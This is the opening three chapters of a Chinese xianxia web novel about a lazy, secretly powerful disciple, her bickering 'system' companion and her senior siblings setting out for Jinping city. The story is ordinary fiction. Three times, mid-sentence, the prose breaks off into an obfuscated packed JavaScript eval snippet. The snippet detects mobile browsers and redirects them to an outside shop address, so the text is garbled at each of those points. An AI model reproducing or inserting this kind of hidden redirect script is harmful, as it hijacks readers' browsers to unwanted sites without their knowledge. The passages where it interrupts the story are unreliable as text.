《小师妹她咸鱼还超强》 1. 第一章 第一章 小苍山,又名龟背山。 山形如同一只趴着晒太阳的老龟,久而久之,在百姓口中便成了龟背山。 山势平缓,又因四周高山环绕,常年云缭雾绕,倒也有几分仙气。 这仙雾缥缈里,当真有一仙门,名为寻山派。 寻山派不大,所收弟子也不过百余人,日出而作日入而息,整个门派都洋溢着一种得过且过的闲适安逸。 山腰处,外门弟子身着青灰的青云衫,头佩网巾,袖子高挽,挂着襻膊,肩上挑着竹担子,步伐轻快地顺着蜿蜒小路往山门上走去。 掠过几进的山院,高大竹影密密交织的后山之地,悠悠地飘出了带着肉香的青烟。 烤干的竹柴发出清亮的噼啪声,如同爆竹作响。 穿梭过重重竹叶,一块空地上,只见一大一小两道身影围坐在一团焰火旁,火上架着一只烤得焦黄的小鸟。 那毛茸茸、如同一颗山板栗的狸奴弓伏下身子,张开两只爪子,惬意地伸了个懒腰,随即又跳到一旁的石块上坐下,抬起一只爪子,舔舐着毛发。 而狸奴旁,盘腿坐着一女子,她一只手支着下颌,侧着头,另一只手转动着竹串,力求烤得均匀。 香味越来越浓。狸奴放下了后爪,目光炯炯地盯着焦黄的小鸟。 女子打了个哈欠,嗓子里的声音低而含糊:“不就一只鸟吗?” 【什么一只鸟,这是外门执事长老养来报时的灵雀!】 “吵死了,每天早上叫叫叫,扰人清梦。” 【执事长老如果知道报时灵雀没了,肯定会追查到底的!万一要把你逐出宗门,那我们的任务……】 “说的什么话,又不是我杀的,罪魁祸首在那呢,”岑无忧手一指,那狸奴“喵”一声,好似大方承认,她接着道,“我这是于心不忍,才想送这山雀早入轮回。” 说着,她掐了一个决,指尖灵光一闪,飞入雀鸟焦黄的尸体里。 “下辈子别做鸟了,也长四条腿吧,冤有头债有主,去找那狸奴的麻烦。” 001系统:【……宿主,轮回术这么糟蹋的吧!这可是禁术!!】 岑无忧抠抠耳朵,不耐烦听:“你是哪个坟堆里出来的古董,怎么比我还古板?” 随着薄薄的油脂从那山雀身上溢出,滴落在火堆上,狸奴先坐不住了,跳下石块,翘着尾巴走到岑无忧腿边,伸爪拍拍她大腿,表示山雀已经烤好了。 岑无忧拿下竹串,抬手一点,指尖溢出的绿色灵光笼住那烤小鸟,不一会儿飘着滚滚热气的肉就降了温。 001系统:【………清心咒是用来驱邪避凶,凝神静气的,不是用来给烤小鸟降温的啊喂!!】 岑无忧没理,摘下鸟头,往旁边一丢。那狸奴立刻叼住鸟头,嘎吱嘎吱地咬了起来。 啃了两个腿,分赃完毕,她抹抹嘴,两脚踩熄了火堆。 狸奴舔了舔爪子,又伸个懒腰,慢悠悠走到一颗大树旁伸出爪子挠了几下。 岑无忧也伸了个懒腰,回味道:“这烤肉把我馋虫都勾起来了,要是能再喝上一口小酒,岂不美哉?” 一无色透明状的小球浮现出,围绕岑无忧上上下下飞快地转着圈,虽然没有人形,语气却焦急得很逼真:【!!!宿主,你不能再去长老院偷酒喝了!长老已经发现酒窖失窃,不仅加强防守,还张贴了告示说如果抓到是本门弟子,不论何人,一律驱逐下山!!别忘了我们的任务!任务要紧啊宿主!!】 岑无忧恍若未闻,手里拎着酒葫芦转着圈,信步就往长老院的方向走去。 那狸奴见她走,立刻翘着尾巴小跑着跟上。 系统在岑无忧面门前不停打转,试图阻碍她前进的脚步,语速越来越快:【宿主,你如今功力压制到不过炼气一层,此前长老院守备松懈,这才让咱们有机可乘,现在长老院不仅加强了阵法,还有弟子巡视,真的不能再去冒险啊!想想我们的任务!想想您的飞升之路,只要完成任务,上界之门就会为您打开——我去!!!】 一道闪着寒茫的冰凌直直向岑无忧射来,系统吓一跳,飞快钻进了岑无忧身体里。 岑无忧的反应也极快,头一侧,那光棱几乎是擦着她脸颊掠过,撞在她身后的大树上,清脆一声响,碎作冰屑掉落。 她顿了顿,视线从那仓皇逃上树的狸奴身上扫过,缓缓抬眸,看向了眼前的三道身影。 两女一男,皆穿着内门弟子的白澜衫,长发高冠,双手抱臂,气势迫人。 站在最前的女子头戴银鎏金点翠钗环,两鬓溜着两缕发丝,面若敷白,唇如点珠,眸光熠熠,微抬下颌,傲气不言自明。 与之相对,岑无忧身着洗得发白的青云衫,发髻也仅仅只用一根木簪一插,额头佩着一根两指宽的抹额,清俭异常。甚至还面带稚气,不过十五六岁的模样,眉眼都透着不经世事的无忧无虑,看着眼前杀出来的几人也没有恼怒和惊慌,只是眼神清亮地疑惑瞧着。 “岑无忧,你哑巴了!看到我们,也不知道叫人?” 站在傲气女子其后的另一圆脸女子往前迈一步,目光睨着,居高临下地瞪着岑无忧。 001系统咬牙切齿:【吓死我了!怎么又是这寻山三害!!】 岑无忧倒好像听不出对面的恶意,收回脚步站着,抬起手行交手礼,笑吟吟道:“师兄师姐。” 那圆脸女仍不满意,眼睛又是一瞪,大声斥责:“什么师兄师姐?谁知道你在叫谁?名字也不会喊吗?” 岑无忧就像没脾气的糯米团子,依旧持交手礼,逐个道:“养师姐,邱师姐,崔师兄。” 邱问柳这才满意,哼了一声。 站在最前的养蕙兰嘴角扬起一抹笑,皮笑肉不笑道,“岑无忧,执事长老的报时灵雀丢了,特派我们前来追查。我们查到这儿就没了灵雀的气息,而你又恰恰出现在这里……”她气势转厉,尖声问,“老实交代,是不是你偷了长老的灵雀?!” “师姐这是哪里话?我的修为怎么抓得到报时灵雀这样的灵鸟?” 岑无忧两眸清亮,一派坦坦荡荡。 崔溪君嗅了嗅空气中的味道,定睛看到了岑无忧身后刚熄的一堆炭灰。他脚下一点,飞身而出,停步在那一堆炭灰前,脚尖拨了拨灰烬,不但拨出了碎骨头,还拨出了些许微燃烬的翅羽。 他看向养蕙兰点头,面色凝重:“是报时灵雀的尸骨。” 养蕙兰立刻拔剑,直指岑无忧,厉声道:“拿下她!” 两道剑光直向岑无忧刺来。 那狸奴受惊,尖叫一声,飞快蹿上了一旁的大树逃之夭夭。 岑无忧仿佛吓呆了,站在原地一动不动。 就在两道剑光同时要落下时,忽而一道几乎看不清影子的劲风打来,“咣、咣”两声脆响,不但接连打落了两道剑光,劲风直插向树,“嗡”一声振鸣,灵气如扇弧般散开。 养蕙兰和邱问柳大惊,下意识看去,只见一把银剑直插在树干上,而地上两把剑齐齐断成了两截。 一道月白的身形如轻鹤般落下,站在岑无忧身前,一挥袖,声音极冷:“同门私下斗殴,是把门规都忘了吗?” 邱问柳和崔溪君看清来人,神情微僵,生硬地抬手行礼道:“万俟师兄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406129|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 养蕙兰却不同,她怒瞪着万俟崖:“这小贼不仅偷窃执法长老的报时灵雀,还吃了!我拿她正是依门规行事。怎么?万俟师弟,你还要包庇这小贼吗?!” “事情始末尚未明了,养师姐不可轻易下定论,更不该拔剑伤人。” 他声音肃冷,丝毫不让。 “报时灵雀尸骨就在那儿,连炭灰都尚热,此处就她岑无忧一人,难不成我还冤枉了她?!”养蕙兰大怒。 万俟崖朝剑柄一抬手,那深入树干寸许的长剑直直朝他飞回,他长剑一挽,负在身后,身姿挺拔如峰,不徐不疾道:“照师姐的说法,灵雀尸骨仍在那儿,炭灰也尚热,此地我们五人都在,若有第六人出现,是否可以将我们五人也视为偷窃灵雀的小贼,拔剑相向?” “你!”养蕙兰下意识想提剑,发觉自己剑断,更是气恼,往前一步,“万俟崖,你是要包庇她到底了?!” “我是在讲道理。”万俟崖说。 “好!”养蕙兰伸手指向岑无忧,怒不可遏,“你让她岑无忧对着三官大帝发誓,报时灵雀是否为她所杀!如有半字谎言,叫她五雷轰顶,不得好死!” 岑无忧从万俟崖身后探出头来,眨巴眨巴眼睛,“师姐,三官大帝很忙的,我这点小事,就不用劳烦他们老人家了吧?” “你!” “而且灵雀真的不是我杀的,我只是不忍心见它曝尸荒野,才把它度化了,送入轮回。” “你胡说!”邱问柳尖声道,“那头骨分明是啃咬的痕迹,你就是把报时灵雀吃了!” “那头骨是山栗子啃的。” 崔溪君冷声:“山栗子是谁?” 岑无忧指了指树,满面无辜:“你们刚刚吓跑的那只狸奴就是山栗子。” “那你为何不阻止?!” “天生万物自有其规律,猫食蛇鼠鸟雀是天性。学官教我们不要悖逆天道,以免因果缠身,我记得的。” “你!伶牙俐齿,看我不撕了你的嘴!”养蕙兰气结。 万俟崖往前一步,冷声呵斥:“你们以多欺少此为罪一,不问因由对同门拔剑相向此为罪二,不思悔悟竟还要拳脚相向,是要一错再错吗?!” 邱问柳拉了拉养蕙兰,低声道:“蕙兰,算了,这万俟崖有谷长老撑腰,我们不跟他一般见识。我们回去如实禀报给执法长老,长老自会处置这岑无忧。” 万俟崖微抬下巴道:“今日之事我也会如实禀报给戒律堂,望三位好自为之。” 养蕙兰怒火攻心,甩开邱问柳拉扯的手:“他万俟崖有人撑腰,难道我就没人撑腰?今天我非得教训教训……” 万俟崖冷声:“同门私下斗殴,罚戒鞭数十,观者亦罚其半,养师姐莫不是想挨戒鞭了?” 岑无忧探着头,举手道:“你们要打吗?要打的话等我走远一点你们再动手吧,我不是很想挨戒鞭。” 万俟崖恨不得把她嘴封起来,反手按在岑无忧脑门上,一把将她按回了自己身后。 “蕙兰,走吧,等下次……” 邱问柳在养蕙兰耳侧低语了几句,拉住了养蕙兰,又看向崔溪君,对视一眼,崔溪君同她点了点头。 邱问柳和崔溪君朝万俟崖行一交手礼,道:“告辞。” 两人拉着不情不愿的养蕙兰脚尖一点,飞快离去。 岑无忧也像模像样抱起手,朝三人离开方向道:“师姐师兄,再会。” 见三人离开,万俟崖绷着的肩膀这才缓缓放松了下去。 他回头看还一脸没心没肺的岑无忧,忍了忍,没忍住,瞪眼压着声音问:“灵雀好吃吗?” 2. 第二章 第二章 “还好啦,肉不是很多,如果肉再多一点就很美味了!” 岑无忧咂摸咂摸嘴回味了一番。 万俟崖很想向天翻白眼,忍住了,戳戳她脑瓜子,“你还挑上了。要不是我今天及时赶到,那三人非得把你生吞活剥了!” “好了好了,我下次会小心的!” 岑无忧往后退一步,看着他,“万俟师兄,你找我什么事啊?” 被一打岔,万俟崖差点忘了正事,他敛色道:“荀师兄即将结丹,前些日子上因果石测算,发现多了几条血色因果线,应该是过去的因果导致了祸事。他已经和掌门说明要下山去处理因果,我和加欣合师姐都要陪荀师兄下山,少则半月,多则数月。这段时日你一个人在外门,不可……” “惹是生非”四个字还没说出来,他脑子里的声音先哇哇叫了起来:【宿主!你这是来表达关心和担忧还是来威胁恐吓人家的?哪有这样说话的!】 万俟崖话音一卡,生硬转了折:“……不可让自己瘦了,该吃吃该喝喝,如果有人欺负你,就去内门找戒律堂的师兄师姐,不要和那些人正面斗气,先记着账,等我回来了,帮你去找他们算账。” 009恋爱系统颇为欣慰:【孺子可教也!】 岑无忧无视他后一段话,只抓了一个重点:“你们要下山?” “是。” “我也要去!” “不行,这次下山是为了办正事,又不是去逛街。” “我知道,我又不会干涉你们办正事,你们办你们的。” “不……” 009:【宿主!检测到小师妹好感度-1。目前好感度:-1!】 万俟崖:“……不是我说了算的,这件事还得先问过荀师兄。” 万俟崖在心底咆哮起来:【两年了,整整两年了,好感度一直是0就算了,还一句话就给我干回负数了?!】 009:【……宿主息怒,现在是-1,不是0了耶……那什么,动了也比一动不动要好,你说是吧?】 岑无忧转身就走。 万俟崖拉住她:“你去哪?” “你不是说你说了不算吗?我去找说了算的。” 她头也不回地往前走。 “荀师兄现在在内门筹备下山的物什,你去哪里找他?” 岑无忧回头看他:“那你帮我转告荀临师兄,我也要下山。” 万俟崖叹口气,弯下腰和她对视,耐心问:“你先告诉我,你为什么想下山?” 岑无忧挺起胸脯,满脸正义之色:“学官说,我们学到的符咒、阵法、剑术乃至术理都要去格物致知,切不可纸上谈兵。所以我也要下山历练!” 万俟崖微微提起一侧唇,左脸写着:我信你,右脸写着:个大头鬼! 见他全然不信,岑无忧忽然如霜打的茄子般垂下睫羽,微低着头,声音轻轻地:“自从上山后,我已经两年没有下过山了,我想回家看看……” “你……怎么还……我……我也没说不行……” 万俟崖手足无措起来,抬起的手不知道是该往她脑袋上放还是拍拍她肩膀。他把剑往身后剑鞘里一收,手伸进衣襟里一摸,掏出一串油纸包着的山药豆糖葫芦,“给你。” 岑无忧立刻抬头,眼睛亮晶晶地看着他:“你下过山了?” “没有,这是药园的师姐做的山药豆糖葫芦,专门给你留着的。”他晃了晃糖葫芦,“要不要?不要我可就收回来了。” 岑无忧从他手上拿过糖葫芦,揭开油纸,咬了一口,嘎嘣作响,含糊道:“带不带我?” 万俟崖咬咬牙:“我帮你说情,但是答不答应,还是得看荀师兄。” 岑无忧一点头,飘逸的抹额在空中划起一道弧度,“成交!” 望着她得逞后毫不犹豫扬长而去的背影,万俟崖总觉得哪里不对劲。 过了一会儿,他后知后觉:“……不对,什么回家看看,她不是说她一家都死绝了吗?” 009:【……宿主,该糊涂的时候还是糊涂一点吧。】 回弟子院的路上,岑无忧脑子里闹起了起义。 001系统一会儿变成一片马赛克,一会儿变成五彩斑斓的线条,在岑无忧脑子里大声抗议:【宿主!我们的任务!任务!任务!别忘了我们来寻山派是为了找人!!两年了,我们的进度一无所获!!怎么能在这时候下山!!】 岑无忧掏了掏耳朵:“两年了都没在这找到一点你说的什么龙傲天的踪迹,唯一符合你说的什么身带系统要求的只有一个万俟崖。他那个统聒噪死了。你要觉得他就是任务目标,我现在就回去把他杀了。” 001系统:【……他只是一个被时空迁移波及到的倒霉蛋。009是个恋爱脑系统!不用管它。我们要找的是002反派系统,必须要阻止002系统摧毁这方世界!】 岑无忧舔着糖葫芦,满脸天真,语气却冷得出奇:“这世界如果这么容易就被摧毁,那赶紧毁灭吧。” 岑无忧脑子里突然出现了一只橘色狸奴把脑袋往绳套里钻的图画,还有题字“不想活了”。 001系统欲哭无泪:【……还好是我先绑定了你!如果被002系统先找到你,那这方世界就真的完蛋了!】 她好奇:“这是什么东西?” 001系统:【这叫表情包!用来表达我现在的心情,怎么样?是不是非常生动?】 “为什么是用一只狸奴?你怎么不用自己上吊?”她好奇问。 001系统:【你这个……恶毒……的……女人……】 岑无忧脑子里突然被一堆各式各样的狸奴塞满了,甚至还有两条腿站着手舞足蹈的狸奴。 001系统无法接受的持续土拨鼠尖叫。 岑无忧烦不胜烦,咬着糖葫芦,抬手扯开了系在脑后的抹额结,一瞬间,强大如汪洋般的神识山倾般瞬间将系统严严实实包裹了起来,所有的声音和图片都戛然而止。 世界清静了。 她慢条斯理系回抹额,拿下糖葫芦,吸了吸口水。 突然眼前黑屏,被强行关小黑屋的001:【混蛋啊!!】 岑无忧回到弟子院,发现自己住的院落已经被许多人围住了。 有人见她来,笑面相迎:“小师妹,荀临师兄和加欣合师姐在院里等你,快些过去吧!” 她点点头,踏进弟子院,便见两人一个规规矩矩坐在石凳上,一个倚靠在石桌旁。 坐着的那个不知是从哪拿来的杯盏,正端着茶杯品茗,站着的那个手里握着一根桃枝像神棍一样四处比划着。 荀临正要喝茶,杯里的茶水忽而全部扬起,他往后一仰,眯着眼睛看加欣合。 加欣合手里桃枝一扬,茶水也随之跃起,在空中打了个转,跳跃着又落进荀临的茶杯里。荀临嘴角微微下撇,面露嫌弃,将茶杯放回桌上。 听见身边有人叫了一声“无忧小师妹”,荀临和加欣合同时转头看去。 荀临身形颀长瘦高,气质温润,身着白澜衫如一块柔和的润玉,一见岑无忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406130|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便展眉微微笑了,道:“小师妹。” 加欣合原本的宽袖白澜衫改成了束袖,露出一截紧致有力的护腕,腰间束着宽边革带,腰身劲痩,像个纵马江湖的侠女。 她将桃枝一丢,朝岑无忧走来。见岑无忧抬手要行礼,一把抓住她手道:“弄这些虚头巴脑的做什么?” 岑无忧嘴里叼着糖葫芦,含糊地“唔唔”两声。 “你这吃什么呢?” 加欣合来戳她鼓囊囊的腮帮子。 “万俟师兄给的糖葫芦。”岑无忧回答。 “万俟师弟来找过你了?那他和你说了我们过两天要下山吗?” 岑无忧三两下把山药豆嘎嘣嘎嘣嚼了,棍子一丢,拍拍手道:“正好想和你们商量,我也想下山!” 加欣合挑眉,随即转头看向荀临:“荀临,师妹想和我们一起下山,你怎么看?” “可以。”荀临点头。 没想到他答应得这么痛快,岑无忧惊讶了,“师兄,你不怕我下山给你们拖后腿?” 荀临握着剑起身,道:“这次下山不是为了斩妖除魔,只是处理一些和凡人的旧事因果。师妹已炼气,进入凡人地界自保足以,况且我们进入凡人城池也不能再轻易使用术法。师妹既想下山,那便和我们一道去吧。” 怕他又改了主意,岑无忧立即双手一合,行交手礼,笑吟吟道:“多谢荀临师兄!” “此事我会去同外院执事说,师妹收拾好行李,我们后天下山。” 岑无忧点头,又问他俩:“对了,师姐和师兄来找我是有什么事吗?” 加欣合从怀里掏出了一个灵囊,“我和你师兄这些天一起想了个丹方,让你丹修的卢师姐给你炼了些丹药,能助你修炼得更快些。” 岑无忧接过灵囊掂了掂,竟有沉甸甸的一袋子。 她又拉开袋子问:“是甜的吗?” “不甜。”荀临抱着剑道,“你欣合师姐说,给你做得甜了,你一天就尝完了。” “……怎么会呢?” 岑无忧嘀咕着,闻了闻味道,嗅出了聚灵草、清心莲、赤血参和寒潭骨花的气息。其中这寒潭骨花算得上是较为珍稀的,生长环境特定,灵气蓬勃,能助淬炼筋骨,还有疗伤的效用。 若她真是刚进炼气期的小弟子,这一袋子丹药属实是雪中送炭了。 她将袋子系在腰间,抬手再行礼,笑道:“多谢师兄师姐。” 荀临再道:“这丹里有一味寒潭骨花,是你万俟师兄上次下山历练取回的,你若要谢,别忘了还有他的那一份。” 加欣合揽住岑无忧的肩膀,“行了行了,别谢来谢去了,你若要真谢我们,就抓紧修炼,早日进入内门,不要再给那养蕙兰欺负了!” “刚刚就碰到养师姐了,不过万俟师兄把她打发走了。放心吧,有师兄师姐撑腰,不会有人欺负到我的。”岑无忧拍拍胸口。 “什么?!养蕙兰又来欺负你了!” 加欣合横眉立目,气势汹汹。 荀临也拧眉:“怎么回事?” “没什么大事!师兄师姐,那我去收拾行李了,后天我们一起下山!” 见小师妹快乐地蹦回了屋舍。加欣合拔下了后背的剑,怒冲冲道:“这养蕙兰!仗着自己有个外门执事长老的叔伯做靠山,成天在外门欺压同门,岂能忍!” 荀临按住了她的胳膊,“不可动武。” 他低下头在加欣合耳边低语了一番。加欣合眼睛一亮,反手将剑收回剑鞘,点头道:“你这个主意行!” 3. 第三章 第三章 后日,寻山派,山门处。 万俟崖抱着剑依靠着山门,荀临背着手站在石阶一侧。加欣合伸长了脖颈往远看,嘀咕着:“快过去小半个时辰了,小师妹怎么还没来?” 万俟崖皱眉,“是不是半路又被那养蕙兰拦住了?” 加欣合一听,和荀临对视一眼,闷声笑:“不能,养蕙兰最近这段时间可是连门都不敢出了。” “此话怎讲?” “那养蕙兰不是总在外门晃悠欺负小弟子吗,你荀临师兄就想了个招,”加欣合看了看四周,凑近万俟崖小声道,“你荀临师兄找符修要了一张魇符,让那养蕙兰做了两宿变成老鼠被猫暴打的噩梦。听说她最近看到猫就尖叫,也不往外门去了。你没发现,她这两天特别安分了?” 山门内不允许私下斗殴,但是在梦里谁也管不着啊。 能想出这种高招,真是奇人了。 万俟崖叹服地竖起了大拇指。 加欣合笑得像个坏得流油的反派,“这么阴的主意,也就你荀临师兄想得出了!” 荀临转过身,微笑:“加欣合,说人坏话也背着点人吧。” “我这是夸你呢!” 似是捧场,山林间鸟雀叽喳喧嚷。 忽而一阵山风吹来,几人抬手挡了挡眼睛。 009提醒:【宿主,小师妹来了!】 万俟崖眯眼回头往来路看去,见一道青色的身影出现在视线中,慢悠悠朝他们走来。 他提醒另二人:“小师妹到了。” 加欣合回头,瞧见了岑无忧穿着,纳闷道:“小师妹怎么今天还穿着弟子服?” 今日要下山,为掩饰身份,三人都换下了内门弟子服,穿回凡人常服。 加欣合一身绯色骑装,窄袖收腰,头戴束发金冠,甚是英姿飒爽。 万俟崖一身玄色劲装,腰佩暗纹革带,手持长剑,双手抱臂,气质冷而疏离。 荀临一身靛色锦缎长裳,手拿白玉折扇,端是一番玉树临风。 唯独岑无忧依旧穿着那身外门青云衫。 她额佩淡青莲花纹抹额,梳着双环髻,发髻下垂着两缕长发,坠着两根月白色发带。山风将她广袖和衣摆都吹起,发带更是迎风飘扬。逆风行来,恍若仙人道童下凡。 加欣合侧头和荀临道:“要我说啊,外门弟子里能将这绿鸭蛋色弟子服穿得这么仙气飘飘的,也就小师妹这独一份了。” 荀临道:“那你是没机会见过我穿这青云衫,那定然也是玉树临风,翩翩君子。” 加欣合嫌弃地瞅他一眼,往旁边挪了两步。 “大师兄,二师姐,万俟师兄。” 岑无忧走近,抬手一一行礼。 加欣合摆摆手示意不用搞这些虚的,直接问她:“小师妹,今日下山,你怎么还穿的这弟子服啊?” “这很方便呀。” 岑无忧抬抬手,两袖里丁零当啷响。 加欣合纳罕:“你这袖袋里都放的什么?” 岑无忧手伸进袖子里一摸,掏出一个小坛子,“青梅灵酿,”她又掏掏,掏出来一个食匣和一副筷子,“松子百合糕、桃花酥、紫米云糕……”她把食匣塞回袖里,又掏出了一打符纸,“还有符咒。” 万俟崖看麻了。 这是准备下山去历练还是春游去? 009抓紧时机又跳了出来:【宿主,这次下山是绝佳的刷好感度机会!你一定要多多和小师妹单独相处,投其所好,抓紧把好感度刷起来!!】 想起至今在零蛋徘徊的好感度。 万俟崖默默移开了视线,远眺望天,两眼放空。 荀临从岑无忧手上拿过一张符咒,拂去纸面上沾着的糕点,仔细端详,见朱砂笔画顺畅自然,欣慰颔首:“师妹的符咒一气呵成,灵气充沛,又更精进了。你是有天赋的人,日后进了内门,可以拜入诸葛长老名下,专修符咒。” “诸葛长老性格沉闷古板,叫师妹拜入他名下定是无聊死了。”加欣合拍着岑无忧的后背道,“师妹,来做剑修吧!我教你练剑!” “我还没想好呢。”岑无忧眨巴眨巴眼。 “那要不跟你大师兄一样,做个器修?对外假装自己是剑修,趁人不备掏出别的武器阴人一手。” 岑无忧瞥一眼垮脸的荀临,“哈……哈哈……” 见两人还要聊下去,荀临道:“要在正午前赶到锦平城,还是早些出发吧。” 万俟崖颔首。 加欣合拉过岑无忧,“那我御剑带师妹,走!” 这一路得飞一个多时辰,岑无忧和加欣合唠了一路嗑,这才清楚荀临此次下山的细致缘由。 多年前人间大旱,荀临下山游历,见一对父女奄奄一息,出手相救后又给对方盘缠,指明了去往京城的路,就此结下了一段前缘。可前不久这根因果线却蔓延出许多血色枝蔓。 怕岑无忧不理解,加欣合还给她解释,“行善事,因果线多是金色;作恶多端,便是黑色,而血色多是因为涉及凡人非正常的死亡,生出怨念,从而反噬到了恩主身上。” 万俟崖飞在她们身侧,闻言插话:“可是当年的那对父女出了什么意外?” “那倒不是,若是那对父女惨死生出怨念,那整根因果线都会变为血色,但荀临的那根线是主线上生出了红色枝络。就好比你救下了一个恶贯满盈的杀人犯,他杀了人后反噬到他身上的怨念也会牵涉到救过他的人,此所谓因果。” 岑无忧佯作第一次听这些事,惊讶道:“只知道不能害人,没想到救人也会惹出这么多麻烦事。” “是啊,所以我们下山才要扮作凡人,不到万不得已绝不动用术法,也轻易不能暴露来历,免得再沾染上什么乱七八糟的因果,那就麻烦了。” 万俟崖调侃:“就和警察下班后都要换常服是一个道理。” 警察? 岑无忧和加欣合同时扭头看他,异口同声:“警察是什么?” 万俟崖猛地反应过来,“就是……官差,衙役。一个叫法而已,别太在意。” 加欣合想想,觉得是有些道理,点头附和道:“我们是修士,身怀神通,自然凡人对我们的期望也就更多,哪怕自己不想搅入因果,可一旦被人知晓身份,难免也要搅出些麻烦。” 飞在最前方领路的荀临传来声音,“前面便是锦平城,我们就在城外落地吧。” 穿过云层,岑无忧看见了远处方正的凡人城池。炊烟袅袅,人流如织。还有一座拔地而起的小高楼,飞檐翘首,挂满彩缎,那必然是城内最有名气的酒楼了。 她咂摸咂摸嘴,馋虫又犯了。 落地后,荀临不急于带三人入城,而是先找人买了三匹马,扮作富家子弟。岑无忧照旧和师姐同骑。 在许多凡人心里,修士都还是鹤发童颜,一把胡子的老神仙形象。 他们四人穿着打扮皆是不俗,即便身配长剑也只是像簪缨世家的子弟骑马出游。 岑无忧虽穿着仙门弟子服,但她年纪“小”,打扮也稚嫩,倒也不会让人一眼起了疑。 不过加欣合还是同岑无忧道:“师妹,你这穿着显眼了些,待进了城,师姐给你买几身漂亮新衣裳换上,保准叫这一整条长街的小公子都被你迷得神魂颠倒!” 荀临听见身后的狂悖之言,回头道:“加欣合,你不要把小师妹带坏了。” “哪里带坏了?”加欣合啧声,“慕少艾是人之常情,我辈修道漫漫长途数百载,若要孤身一人历经生死离别该多无趣。小师妹尚小,若能得一知心人相伴走过千秋万载,岂不是幸事?” “我看是你耐不住清修孤寂,拿小师妹做幌子罢了!”荀临一夹马身,加快了速度,头也不回地打马先行。 “别理他,”加欣合在岑无忧身后嘀咕,“我们是修士又不是吃斋念佛的和尚,古来便有道侣一说。你现在这年纪最适合找童养夫了,若是等过了个几百年,周遭全是几百岁的老头子,那时候想找都瞧不上了!” 说着,她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406131|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼笑起来,“照凡人年岁,你大师兄都三十好几了,在凡间那是孙子都能打酱油的年纪了!他是嫉妒咱们青春年少,没事找事!” 岑无忧感觉膝盖中了一箭,抽抽嘴角:“啊……哈,哈哈哈……” 001:【嚯嚯嚯哈哈哈哈,青春年少!都快六百岁的老老老老老祖宗了,还青春年少!哈哈哈哈哈哈哈哈哈哈哈哈……】 岑无忧冷声赏它两字真经:【滚蛋!】 四人从城门外下马,牵马入城,给城门令看过路凭,一进城便被热闹喧嚣的市井气息盖了一脸。 赶马的、栓驴的、挑担子的、推推车的,这边喊“让一让,让一让”,那边又嚷“没长眼睛呐!这么大一辆车也瞧不见!”七嘴八舌,叫人分不清东南西北。 万俟崖鲜少入城,这一会儿也看得眼花缭乱,心道这古代城里的热闹也一点不输现代。 四人牵着马往闹市去,渐渐的铺面也多了,摆摊卖鞋的、卖刀剪的、做皮革生意的,人群熙熙攘攘,摩肩接踵。 其他三人都牵着马往前走,只有岑无忧高坐在马背上脚不点地,见他们三交头接耳地聊得兴致盎然,岑无忧俯下身去,大声道:“师兄师姐,我饿了,我们去酒楼吃饭吧!” 荀临回头笑道:“你不是袖子里揣了一兜吃的吗?怎么这会儿不拿出来吃?” “我想吃热的!听说锦平城有当归羊肉汤、锦平醋鱼还有八宝鸭,我都想尝尝!” 荀临道:“那还有油炸五毒酥呢,你敢不敢尝尝?” 岑无忧好奇:“五毒酥?是哪五毒?” 加欣合接了话,“五毒酥啊,就是蝎子、蜈蚣、知了猴、蚕蛹和蚂蚱,若是在荒年,蝗虫也是五毒之一。” 万俟崖闻言皱眉:“蝗灾时期的蝗虫有毒吧,也有人吃?” “所以才叫五毒之一嘛。吃也是死,不吃也是死,不如做个饱死鬼咯。”加欣合扭头问岑无忧,“师妹,你敢尝尝这五毒酥吗?” 岑无忧要闹了,扯着嗓子干嚎:“我不要吃虫子,我要当归羊肉汤——锦平醋鱼还有八宝鸭——!!” 009蹦了出来:【宿主!!刷好感度的时机到了!你的东南方向往前50米,过一条里巷,有家羊肉馍店,快去!!】 万俟崖步伐一顿。 岑无忧还在嚎:“我要——当归——羊肉——汤……” 万俟崖看了看四周,将缰绳递给荀临,道了一句“师兄师姐稍等,我去去就回”便离开了队伍。 加欣合疑惑问:“师弟做什么去?” “不知道,等他一会儿吧。”荀临带着两匹马走到了街道一侧。 岑无忧高伏在马上,老神在在道:“小师兄买羊肉馍去了。” “你怎么知道的?”加欣合好笑。 岑无忧言辞振振:“我闻到羊肉馍的味了。” “我看你是馋虫犯了,想吃羊肉馍了吧!” 三人正笑谈着,几个梳着童髻和冲天辫的小孩糖葫芦串似的从巷道内跑出来,冒冒失失,还险些撞着荀临。 “日头落,鬼推磨,山里妖精吃人肉。”小孩齐声唱着,“妖精吃人吐骨头,彦儿杀人血漂流。宁遇厉鬼索命来,莫见贺家小阎罗!” 